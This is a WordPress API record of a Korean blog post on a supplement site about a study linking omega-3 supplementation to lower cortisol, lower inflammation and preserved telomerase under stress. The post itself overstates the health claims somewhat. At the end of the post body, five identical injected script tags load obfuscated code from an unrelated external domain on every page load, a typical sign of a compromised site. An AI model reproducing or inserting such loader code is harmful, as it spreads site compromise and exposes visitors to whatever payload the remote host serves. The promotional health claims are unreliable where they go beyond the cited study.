{"id":7404,"date":"2024-07-10T17:13:49","date_gmt":"2024-07-10T09:13:49","guid":{"rendered":"https:\/\/www.backvita.com\/?p=7404"},"modified":"2025-02-06T10:57:40","modified_gmt":"2025-02-06T02:57:40","slug":"omega-3-reduce-stress-and-fight-aging","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ko\/\uc624\uba54\uac00-3-\uc2a4\ud2b8\ub808\uc2a4-\uac10\uc18c-\ubc0f-\ub178\ud654-\ubc29\uc9c0\/","title":{"rendered":"\uc624\uba54\uac00-3 \uc2a4\ud2b8\ub808\uc2a4 \uac10\uc18c \ubc0f \ub178\ud654 \ubc29\uc9c0"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-de7bd8f\" data-block-id=\"de7bd8f\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-4152\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements.webp\" width=\"794\" height=\"398\" alt=\"\uc624\uba54\uac00-3 \ubcf4\ucda9\uc81c \ubcf5\uc6a9\uc744 \uc704\ud55c \ud301\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements.webp 794w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-300x150.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-768x385.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Tips-for-taking-Omega-3-supplements-600x301.webp 600w\" sizes=\"(max-width: 794px) 100vw, 794px\" \/><\/figure><\/div>\n\n\n\n<p>\uc624\ud558\uc774\uc624 \uc8fc\ub9bd\ub300 \uc758\uacfc\ub300\ud559 \ucf5c\ub7fc\ubc84\uc2a4 \ud589\ub3d9\uc758\ud559\uc5f0\uad6c\uc18c\uc758 \uc81c\ub2c8\uc2a4 K. \ud0a4\ucf5c\ud2b8-\uae00\ub808\uc774\uc800 \uc5f0\uad6c\ud300\uc740 \ubd84\uc790 \uc815\uc2e0\uc758\ud559\uc5d0 \ubc1c\ud45c\ud55c \ub17c\ubb38\uc5d0\uc11c \uc911\ub144 \uc131\uc778\uc5d0\uac8c 4\uac1c\uc6d4\uac04 \uc624\uba54\uac00-3\ub97c \ubcf4\ucda9\ud558\uba74 \ucf54\ub974\ud2f0\uc194\uacfc \uc5fc\uc99d \uc218\uce58\uac00 \uac10\uc18c\ud558\uace0 \ud154\ub85c\uba38\ub77c\uc81c\uc640 \ud56d\uc5fc\uc99d \uc778\uc790 \uc218\uce58\uac00 \uc99d\uac00\ud558\uba70 \uc2a4\ud2b8\ub808\uc2a4 \ub9e4\uac1c \uc138\ud3ec \ub178\ud654\uac00 \uac10\uc18c\ud558\uace0 \ub178\ud654\uc640 \uc6b0\uc6b8\uc99d \uc608\ubc29\uc5d0 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\ub2e4\ub294 \uc0ac\uc2e4\uc744 \ubc1c\uacac\ud588\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774 \uc5f0\uad6c\ub294 \ub178\ud654\uac00 \uac00\uc18d\ud654\ub420 \uc704\ud5d8\uc774 \ub192\uc740 \uc0ac\ub78c\ub4e4, \uc989 \uc549\uc544\uc11c \uc0dd\ud65c\ud558\uace0 \uacfc\uccb4\uc911\uc778 \uc911\uc7a5\ub144\uce35\uc744 \ub300\uc0c1\uc73c\ub85c \uc9c4\ud589\ub418\uc5c8\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc0dd\ub9ac\uc801 \uc2a4\ud2b8\ub808\uc2a4 \ubc18\uc751\uc758 \uc870\uc808 \uc7a5\uc560\ub294 \ub9ce\uc740 \uc2e0\uccb4\uc801, \uc815\uc2e0\uc801 \uc9c8\ubcd1\uc758 \uc704\ud5d8 \uc694\uc778\uc785\ub2c8\ub2e4. \uae09\uc131 \uc2a4\ud2b8\ub808\uc2a4\ub294 \uc77c\ubc18\uc801\uc73c\ub85c \ucf54\ub974\ud2f0\uc194\uacfc \uc804 \uc5fc\uc99d\uc131 \uc778\uc790\uc758 \uc99d\uac00\ub97c \ub3d9\ubc18\ud558\uba70, \uc774\ub294 \ud55c\ud3b8\uc73c\ub85c\ub294 \uc6b0\uc6b8\uc99d\uc758 \uc704\ud5d8\uc744 \uc99d\uac00\uc2dc\ud0ac \uc218 \uc788\uace0, \uc0b0\ud654 \uc2a4\ud2b8\ub808\uc2a4\ub97c \ud1b5\ud574 \ud154\ub85c\uba38\ub77c\uc81c \ud65c\uc131\uc5d0 \uc601\ud5a5\uc744 \uc8fc\uc5b4 \ud154\ub85c\ubbf8\uc5b4 \ub2e8\ucd95\uc744 \ucd08\ub798\ud558\uc5ec \ub178\ud654\ub97c \ucd09\uc9c4\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc774\uc804 \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \ud608\uc911 \uc624\uba54\uac00-3 \uc9c0\ubc29\uc0b0 \uc218\uce58\uac00 \ub192\uc740 \uc0ac\ub78c\uc740 \ud154\ub85c\ubbf8\uc5b4\uac00 \ub354 \uae34 \uacbd\ud5a5\uc774 \uc788\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4. \uc624\uba54\uac00-3\ub97c \ubcf4\ucda9\ud558\uba74 \uc2e0\uccb4\uc758 \uadfc\ubcf8\uc801\uc778 \uc5fc\uc99d\uacfc \uc0b0\ud654 \uc2a4\ud2b8\ub808\uc2a4 \uc218\uc900\uc744 \uc904\uc77c \uc218 \uc788\ub2e4\ub294 \uc810\uc744 \uace0\ub824\ud558\uc138\uc694.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc624\uba54\uac00-3\ub294 \uc2a4\ud2b8\ub808\uc2a4\ub97c \ubc1b\uc544\ub3c4 \ud154\ub85c\uba38\ub77c\uc81c \ud65c\uc131\uc744 \uc720\uc9c0\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\uc5f0\uad6c\uc9c4\uc740 \ucc38\uac00\uc790\ub4e4\uc774 \uc0ac\ud68c\uc801 \uc2a4\ud2b8\ub808\uc2a4\uac00 \ub192\uc740 \uacfc\uc81c(\uc2ec\uc0ac\uc704\uc6d0\uacfc \uce74\uba54\ub77c \uc55e\uc5d0\uc11c \uba54\ubaa8 \uc5c6\uc774 \uc989\ud765 \uc5f0\uc124)\ub97c \ub9c8\uce5c \ud6c4 \uc624\uba54\uac00-3 \ubcf4\ucda9\uc81c\ub97c \uc12d\ucde8\ud558\uc9c0 \uc54a\uc740 \ucc38\uac00\uc790\uc758 \ud154\ub85c\uba38\ub77c\uc81c \ud65c\uc131\uc740 \uae09\uaca9\ud788 \ub5a8\uc5b4\uc9c4 \ubc18\uba74, \uc624\uba54\uac00-3 \ubcf4\ucda9\uc81c\ub97c \uc12d\ucde8\ud55c \ucc38\uac00\uc790\uc758 \ud154\ub85c\uba38\ub77c\uc81c \ud65c\uc131\uc740 \ube44\uad50\uc801 \uc77c\uc815\ud558\uac8c \uc720\uc9c0\ub418\uc5b4 \ud070 \uac10\uc18c\ub97c \ubcf4\uc774\uc9c0 \uc54a\uc558\ub2e4\ub294 \uac83\uc744 \ubc1c\uacac\ud588\uc2b5\ub2c8\ub2e4. \uc774\ub294 \uc624\uba54\uac00-3 \ubcf4\ucda9\uc81c\uac00 \ubd80\ubd84\uc801\uc73c\ub85c \uc138\ud3ec \uc5fc\uc0c9\uccb4\uc758 \ubb34\uacb0\uc131\uc744 \uc720\uc9c0\ud558\uace0 DNA\ub97c \ubcf5\uad6c\ud558\ub294 \ud154\ub85c\uba38\ub77c\uc544\uc81c\uc758 \ud65c\uc131\uc744 \uc720\uc9c0\ud568\uc73c\ub85c\uc368 \uc791\uc6a9\ud55c\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc624\uba54\uac00-3\ub294 \uc2a4\ud2b8\ub808\uc2a4 \uad00\ub828 \ucf54\ub974\ud2f0\uc194 \uc218\uce58\ub97c \ub0ae\ucd9c \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\ucf54\ub974\ud2f0\uc194 \uc218\uce58\uac00 \ub192\uc744\uc218\ub85d \uc9c8\ubcd1 \ubc0f \ub178\ud654 \uc704\ud5d8\uc774 \ub192\uc544\uc9c0\uae30 \ub54c\ubb38\uc5d0 \uc5f0\uad6c\uc9c4\uc740 \ucc38\uac00\uc790\uc758 \uc2a4\ud2b8\ub808\uc2a4 \uad00\ub828 \ucf54\ub974\ud2f0\uc194 \uc218\uce58\ub97c \uce21\uc815\ud588\uc2b5\ub2c8\ub2e4. \uc624\uba54\uac00-3\ub294 \uc815\uc0c1\uc801\uc778 \uae30\ub2a5\uc744 \ud558\ub294 \ub3d9\uc548\uc5d0\ub294 \uc804\ubc18\uc801\uc778 \ucf54\ub974\ud2f0\uc194 \uc218\uce58\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\uc9c0 \uc54a\uc558\uc9c0\ub9cc, \uc2a4\ud2b8\ub808\uc2a4\ub97c \ubc1b\uae30 \uc804\uc5d0\ub294 \ucf54\ub974\ud2f0\uc194 \uc218\uce58\ub97c \ub0ae\ucdc4\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc5f0\uad6c \uacb0\uacfc\uc5d0 \ub530\ub974\uba74 \uc624\uba54\uac00-3(\ud558\ub8e8 2.5g, \uacbd\uad6c \ubcf5\uc6a9)\ub97c \ubcf4\ucda9\ud558\uba74 \uc2a4\ud2b8\ub808\uc2a4 \uad00\ub828 \ucf54\ub974\ud2f0\uc194\uc5d0 \ub300\ud55c \uc2e0\uccb4\uc758 \ubc18\uc751\uc744 \uc904\uc77c \uc218 \uc788\uc73c\uba70, \uc989 \uc624\uba54\uac00-3\ub294 \uc2a4\ud2b8\ub808\uc2a4\ub85c \uc778\ud574 \ubc29\ucd9c\ub418\ub294 \ub2e4\ub7c9\uc758 \ucf54\ub974\ud2f0\uc194\uc774 \uc2ec\ud608\uad00\uacc4\uc5d0 \ubbf8\uce58\ub294 \ubd80\uc791\uc6a9\uc744 \uc904\uc5ec \ucf54\ub974\ud2f0\uc194\uc774 \uc2e0\uccb4 \uc138\ud3ec\uc5d0 \ubbf8\uce58\ub294 \ucd08\uae30 \uc190\uc0c1\uc5d0 \ub300\uc751\ud560 \uc218 \uc788\ub2e4\uace0 \ud569\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uace0\ud608\uc555\uacfc \uad00\uc0c1\ub3d9\ub9e5 \uc11d\ud68c\ud654\ub97c \ube44\ub86f\ud55c \ub9ce\uc740 \ub9cc\uc131 \uc9c8\ud658\uc740 \uacfc\ub3c4\ud55c \ucf54\ub974\ud2f0\uc194 \ubc18\uc751\uc744 \ubcf4\uc785\ub2c8\ub2e4. \uc624\uba54\uac00-3\ub97c \ubcf4\ucda9\ud558\uc5ec \uc5fc\uc99d \ubc18\uc751\uacfc \uc2a4\ud2b8\ub808\uc2a4\ub85c \uc778\ud55c \ucf54\ub974\ud2f0\uc194 \ubd84\ube44\ub97c \uc904\uc774\uba74 \ub9cc\uc131 \uc9c8\ud658\uacfc \uc6b0\uc6b8\uc99d\uc744 \uc608\ubc29\ud558\ub294 \ub370 \ub3c4\uc6c0\uc774 \ub420 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\uc624\uba54\uac00-3\ub294 \uccb4\ub0b4 \uc5fc\uc99d\uc744 \uac10\uc18c\uc2dc\ud0b5\ub2c8\ub2e4.<\/h2>\n\n\n\n<p>\uc5f0\uad6c\uc9c4\uc740 \uc2e4\ud5d8\uc5d0\uc11c \uc778\ud130\ub8e8\ud0a8 6\uc758 \ubcc0\ud654\ub97c \uce21\uc815\ud588\uc2b5\ub2c8\ub2e4. \uc778\ud130\ub8e8\ud0a8-6\ub294 \uc5fc\uc99d \ubd84\uc790\ub85c\uc11c \uc2e0\uccb4\uc758 \ub098\uc774\ub97c \ub098\ud0c0\ub0b4\ub294 \uc9c0\ud45c\uc774\uae30\ub3c4 \ud569\ub2c8\ub2e4. \uce21\uc815 \uacb0\uacfc, \ucc38\uac00\uc790\ub4e4\uc774 \ub192\uc740 \uc0ac\ud68c\uc801 \uc2a4\ud2b8\ub808\uc2a4\uc5d0 \ub178\ucd9c\ub41c \ud6c4 \uace0\uc6a9\ub7c9(\ud558\ub8e8 2.5g)\uc758 \uc624\uba54\uac00-3\ub97c \ubcf4\ucda9\ud558\uba74 \uc778\ud130\ub8e8\ud0a8-6 \uc218\uce58\uac00 33% \uac10\uc18c\ud588\uc9c0\ub9cc, \uc18c\ub7c9(\ud558\ub8e8 1.25g)\uc744 \ubcf4\ucda9\ud558\uba74 \uc778\ud130\ub8e8\ud0a8-6 \uc218\uce58\uc5d0 \ud070 \ubcc0\ud654\uac00 \uc5c6\ub294 \uac83\uc73c\ub85c \ub098\ud0c0\ub0ac\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ub530\ub77c\uc11c \uc2e4\ud5d8 \uc5f0\uad6c\uc5d0 \ub530\ub974\uba74 \uace0\uc6a9\ub7c9\uc758 \uc624\uba54\uac00 -3 \ubcf4\ucda9\uc81c\ub294 \uc778\ud130\ub8e8\ud0a8 -6 \uc218\uce58\ub97c \ud6a8\uacfc\uc801\uc73c\ub85c \uac10\uc18c\uc2dc\ucf1c \uc0ac\ud68c\uc801 \uc2a4\ud2b8\ub808\uc2a4\ub85c \uc778\ud55c \uc2e0\uccb4\uc758 \uc5fc\uc99d \ubc18\uc751\uc5d0 \ub300\uc751\ud558\uc5ec \ub178\ud654 \uad00\ub828 \ubc18\uc751\uc744 \uc5b4\ub290 \uc815\ub3c4 \uc5ed\uc804\uc2dc\ud0ac \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\uc704\uc758 \uc5f0\uad6c\ub97c \ud1b5\ud574 \uc624\uba54\uac00-3 \ubcf4\ucda9\uc81c\ub294 \ub2e4\uc74c\uacfc \uac19\uc740 \uc138 \uac00\uc9c0 \uce21\uba74\uc5d0\uc11c \uc0ac\ud68c\uc801 \uc2a4\ud2b8\ub808\uc2a4\uac00 \uc2e0\uccb4\uc5d0 \ubbf8\uce58\ub294 \uc601\ud5a5\uc744 \uc904\uc77c \uc218 \uc788\uc2b5\ub2c8\ub2e4:<\/p>\n\n\n\n<p>\uc138\ud3ec \ub0b4 \uc5fc\uc0c9\uccb4\uc758 \ubb34\uacb0\uc131\uc744 \uc720\uc9c0\ud558\uae30 \uc704\ud574 \ud154\ub85c\uba38\ub77c\uc81c\uc758 \ud65c\uc131\uc744 \uc720\uc9c0\ud558\uc5ec \uc138\ud3ec \uc218\uba85\uc774 \ud6a8\uacfc\uc801\uc73c\ub85c \uc5f0\uc7a5\ub418\ub3c4\ub85d \ud569\ub2c8\ub2e4;<\/p>\n\n\n\n<p>\uc2a4\ud2b8\ub808\uc2a4 \uad00\ub828 \ud638\ub974\ubaac\uc758 \ubd84\ube44\ub97c \uc904\uc774\uace0 \uc2e0\uccb4\uc758 \uc2ec\ud608\uad00\uacc4\ub97c \ubcf4\ud638\ud569\ub2c8\ub2e4;<\/p>\n\n\n\n<p>\uc778\ud130\ub8e8\ud0a8 6\uc758 \uc218\uce58\ub97c \ub0ae\ucd94\uc5b4 \uc2e0\uccb4\uc758 \uc5fc\uc99d\uacfc \uc2f8\uc6b0\uc138\uc694.<\/p>\n\n\n\n<p>\uc624\uba54\uac00-3\ub97c \ubcf4\ucda9\ud558\uba74 \uc2a4\ud2b8\ub808\uc2a4 \uc694\uc778\uc774 \uac74\uac15\uc5d0 \ubbf8\uce58\ub294 \ubd80\uc815\uc801\uc778 \uc601\ud5a5\uc744 \uc608\ubc29\ud560 \uc218 \uc788\uc73c\uba70 \uc2e0\uccb4\uc758 \uc815\uc0c1\uc801\uc778 \uae30\ub2a5\uc744 \ubcf4\ud638\ud558\uace0 \ub178\ud654\ub97c \uc9c0\uc5f0\uc2dc\ud0a4\ub294 \ub370 \ud544\uc694\ud558\ub2e4\ub294 \uac83\uc744 \uc54c \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ub610\ud55c \uc5fc\uc0c9\uccb4 \ubd95\uad34 \ubc0f \uc5fc\uc99d\uc73c\ub85c \uc778\ud55c \ub178\ud654 \uac00\uc18d\ud654\ub97c \uc81c\ud55c\ud558\uace0 \uc2ec\uc7a5\ubcd1, \uc778\uc9c0 \uae30\ub2a5 \uc7a5\uc560 \ubc0f \ub300\uc0ac \uc9c8\ud658\uacfc \uac19\uc740 \ub178\ud654 \uad00\ub828 \uc9c8\ubcd1\uc744 \uc608\ubc29\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \uc778\uac04\uc758 \uac74\uac15\uacfc \uc7a5\uc218\ub97c \uc704\ud574 \uac00\ub2a5\ud55c \ud55c \ucda9\ubd84\ud55c \uc624\uba54\uac00 -3\ub97c \uc12d\ucde8\ud558\ub294 \uac83\uc740 \ub9e4\uc6b0 \uc720\uc775\ud558\uc9c0\ub9cc \uc2e0\uccb4 \uc790\uccb4\uac00 \ud569\uc131 \ud560 \uc218 \uc5c6\uae30 \ub54c\ubb38\uc5d0 \uc0ac\uc6a9\ud560 \ubcf4\ucda9\uc81c\uc758 \uc801\uc808\ud55c \uc120\ud0dd\uc785\ub2c8\ub2e4.<\/p>\n\n\n\n<p>\ucc38\uc870<\/p>\n\n\n\n<p>[1]Horvath S, Erhart W, Brosch M, Ammerpohl O, von Sch\u00f6nfels W, Ahrens M \ub4f1. \ube44\ub9cc\uc740 \uc778\uac04 \uac04\uc758 \ud6c4\uc131\uc720\uc804\ud559\uc801 \ub178\ud654\ub97c \uac00\uc18d\ud654\ud569\ub2c8\ub2e4. 2014;111:15538-43.<\/p>\n\n\n\n<p>[2]MadisonAA,BeluryMA,AndridgeR,etal. \uc624\uba54\uac003 \ubcf4\ucda9 \ubc0f \uc138\ud3ec \ub178\ud654 \ubc14\uc774\uc624 \ub9c8\ucee4\uc758 \uc2a4\ud2b8\ub808\uc2a4 \ubc18\uc751\uc131: \ubb34\uc791\uc704 \ub300\uc870 \uc2dc\ud5d8\uc758 \ubcf4\uc870 \ud558\uc704 \uc5f0\uad6c[\uc778\uc1c4 \uc804 \uc628\ub77c\uc778 \uac8c\uc2dc,2021Apr20].MolPsychiatry.2021;10.1038\/s41380-021-01077-2.<\/p>\n\n\n\n<p>[3] Turner AI, Smyth N, Hall SJ, Torres SJ, \ud6c4\uc138\uc778 M, Jayasinghe SU \ub4f1. \uc2ec\ub9ac\uc801 \uc2a4\ud2b8\ub808\uc2a4 \ubc18\uc751\uc131\uacfc \ubbf8\ub798\uc758 \uac74\uac15 \ubc0f \uc9c8\ubcd1 \uacb0\uacfc: \uc804\ud5a5\uc801 \uc99d\uac70\uc758 \uccb4\uacc4\uc801 \uac80\ud1a0.\uc815\uc2e0\uc2e0\uacbd\ub0b4\ubd84\ube44\ud559.2020;114:104599.<\/p>\n\n\n\n<p>[4] \ud0a4\ucf5c\ud2b8-\uae00\ub808\uc774\uc800 JK, \ub808\ub098 ME, \uc288\ub77c\uc6b0\ud2b8 MR, \ub9e4\ub514\uc2a8 AA. \uc2a4\ud2b8\ub808\uc2a4 \ubc18\uc751\uc131: \uc6b0\ub9ac\ub97c \ub354 \ub192\uc774, \ub354 \ube68\ub9ac, \ub354 \uc624\ub798 \ubc00\uc5b4\ubd99\uc774\ub294 \uc694\uc778 \ubc0f \uc774\uac83\uc774 \uc911\uc694\ud55c \uc774\uc720. 2020;29:492-8.]<\/p>\n\n\n\n<p>[5]\uae09\uc131 \uc2a4\ud2b8\ub808\uc2a4 \ub3d9\uc548 \uae0d\uc815\uc801 \uc778 \uc804\ub9dd\uc744 \uc720\uc9c0\ud558\uba74 \uc804 \uc5fc\uc99d \ubc18\uc751\uc131\uacfc \ud5a5\ud6c4 \uc6b0\uc6b8 \uc99d\uc0c1\uc744 \uc608\ubc29\ud560 \uc218 \uc788\uc2b5\ub2c8\ub2e4. \ub1cc \ud589\ub3d9 \uba74\uc5ed. 2012;26:346-52.]<\/p>\n\n\n\n<p>[6] \uc5d0\ud3a0 ES, \ub9b0 J, \ub2e4\ud558\ub974 FS, \ubcfc\ucf54\uc704\uce20 OM, \ud37c\ud130\ub9cc E, \uce74\ub780 L \ub4f1. \uae09\uc131 \uc2ec\ub9ac\uc801 \uc2a4\ud2b8\ub808\uc2a4\uc5d0 \ub300\ud55c \ud154\ub85c\uba38\ub77c\uc81c \ud65c\uc131\uc758 \uc5ed\ud559. \ub1cc \ud589\ub3d9 \uba74\uc5ed. 2010;24:531-9.<\/p>\n\n\n\n<p>[7]Codd V, Nelson CP, Albrecht E, Mangino M, Deelen J, Buxton JL \ub4f1. \ud3c9\uade0 \ud154\ub85c\ubbf8\uc5b4 \uae38\uc774\uc640 \uc9c8\ubcd1\uacfc\uc758 \uc5f0\uad00\uc131\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\ub294 7\uac1c\uc758 \uc720\uc804\uc790\uc88c\ub97c \ud655\uc778\ud588\uc2b5\ub2c8\ub2e4. Nat Genet. 2013;45:422-7.<\/p>\n\n\n\n<p>[8]Kiecolt-Glaser JK, Epel ES, Belury MA, Andridge R, Lin J, Glaser R \ub4f1. \uc624\uba54\uac00-3 \uc9c0\ubc29\uc0b0, \uc0b0\ud654 \uc2a4\ud2b8\ub808\uc2a4 \ubc0f \ubc31\ud608\uad6c \ud154\ub85c\ubbf8\uc5b4 \uae38\uc774: \ubb34\uc791\uc704 \ub300\uc870\uad70 \uc2dc\ud5d8. \ub1cc \ud589\ub3d9 \uba74\uc5ed. 2013;28:16-24.<\/p>\n\n\n\n<p>\ubc31\ube44\ud0c0<\/p>\n<script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script>","protected":false},"excerpt":{"rendered":"<p>In a paper published in Molecular Psychiatry, a team of Janice K. Kiecolt-Glaser researchers at the Columbus Institute of Behavioral Medicine at the Ohio State University College of Medicine found that; Four months of omega-3 supplementation in middle-aged adults reduces cortisol and inflammation levels, increases telomerase and anti-inflammatory factor levels, reduces stress-mediated cellular aging, and [&hellip;]<\/p>","protected":false},"author":1,"featured_media":4152,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"Omega-3 reduce stress and fight aging","_seopress_titles_desc":"Previous studies have found that people with higher blood levels of omega-3 fatty acids tend to have longer telomeres. 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Kiecolt-Glaser researchers at the Columbus Institute of Behavioral Medicine at the Ohio State University College of Medicine found that; Four months of omega-3 supplementation in middle-aged adults reduces cortisol and inflammation levels, increases telomerase and anti-inflammatory factor levels, reduces stress-mediated cellular aging, and may help fight aging and prevent depression. The study involved people at high risk for accelerated aging \u2013 sedentary and overweight middle-aged people. Dysregulation of physiological stress response is a risk factor for many physical and mental diseases. Acute stress is usually accompanied by elevated&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ko\/category\/\uc5c5\uacc4-\ub3d9\ud5a5\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ko\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7404"}],"collection":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/comments?post=7404"}],"version-history":[{"count":6,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7404\/revisions"}],"predecessor-version":[{"id":9776,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/posts\/7404\/revisions\/9776"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media\/4152"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/media?parent=7404"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/categories?post=7404"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ko\/wp-json\/wp\/v2\/tags?post=7404"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}